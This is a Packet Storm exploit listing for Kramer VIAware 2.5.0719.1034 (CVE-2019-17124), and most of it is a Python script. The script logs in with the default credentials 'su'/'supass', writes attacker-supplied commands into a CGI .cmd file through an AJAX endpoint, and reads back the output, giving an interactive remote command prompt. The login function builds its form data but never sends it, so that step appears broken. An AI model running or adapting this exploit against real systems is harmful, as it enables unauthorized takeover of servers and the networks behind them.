what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Kramer VIAware 2.5.0719.1034 Remote Code Execution

Kramer VIAware 2.5.0719.1034 Remote Code Execution
Posted Mar 30, 2022
Authored by BallO, sharkmoos

Kramer VIAware version 2.5.0719.1034 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2019-17124
SHA-256 | 71fd9ed67f1c3636b46e0f35d6d135b218a93103bbc2f9e74dd9d79b2c4d145c

Kramer VIAware 2.5.0719.1034 Remote Code Execution

Change Mirror Download
# Exploit Title: Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE)
# Date: 28/03/2022
# Exploit Author: sharkmoos & BallO
# Vendor Homepage: https://www.kramerav.com/
# Software Link: https://www.kramerav.com/us/product/viaware
# Version: 2.5.0719.1034
# Tested on: ViaWare Go (Windows 10)
# CVE : CVE-2019-17124

import requests, sys, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def adminLogin(s, host, username, password):
headers = {
"Host": f"{host}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-GB,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": f"https://{host}",
"Referer": f"https://{host}/admin/login.php",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Sec-Gpc": "1",
"Te": "trailers",
"Connection": "close"
}
data = {
"txtUserId": username,
"txtPwd": password,
"btnOk" :"Login"
}
response = s.post(f"https://{host}/admin/login.php", verify=False)
if len(s.cookies) < 1:
return False
else:
return True


def writeCommand(session, host, command):
headers = {
"Host": f"{host}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Accept": "text/html, */*",
"Accept-Language": "en-GB,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"https://{host}",
"Referer": f"https://{host}/browseSystemFiles.php?path=C:\Windows&icon=browser",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Sec-Gpc": "1",
"Te": "trailers",
"Connection": "close"
}
data = {
"radioBtnVal":f"{command}",
"associateFileName": "C:/tc/httpd/cgi-bin/exploit.cmd"
}
session.post(f"https://{host}/ajaxPages/writeBrowseFilePathAjax.php", headers=headers, data=data)


def getResult(session, host):
file = session.get(f"https://{host}/cgi-bin/exploit.cmd", verify=False)
pageText = file.text
if len(pageText) < 1:
result = "Command did not return a result"
else:
result = pageText
return result



def main(host, username="su", password="supass"):
s = requests.Session()
# comment this line to skip the login stage
loggedIn = adminLogin(s, host, username, password)

if not loggedIn:
print("Could not successfully login as the admin")
sys.exit(1)
else:
pass

command = ""
while command != "exit":
command = input("cmd:> ").strip()
writeCommand(s, host, command)
print(getResult(s, host))
exit()

if __name__ == "__main__":

args = sys.argv
numArgs = len(args)
if numArgs < 2:
print(f"Run script in format:\n\n\tpython3 {args[0]} target\n")
print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass")
if numArgs == 2:
main(args[1])
if numArgs == 4:
main(args[1], args[2], args[3])
if numArgs > 4:
print(f"Run script in format:\n\n\tpython3 {args[0]} target\n")
print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass")


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close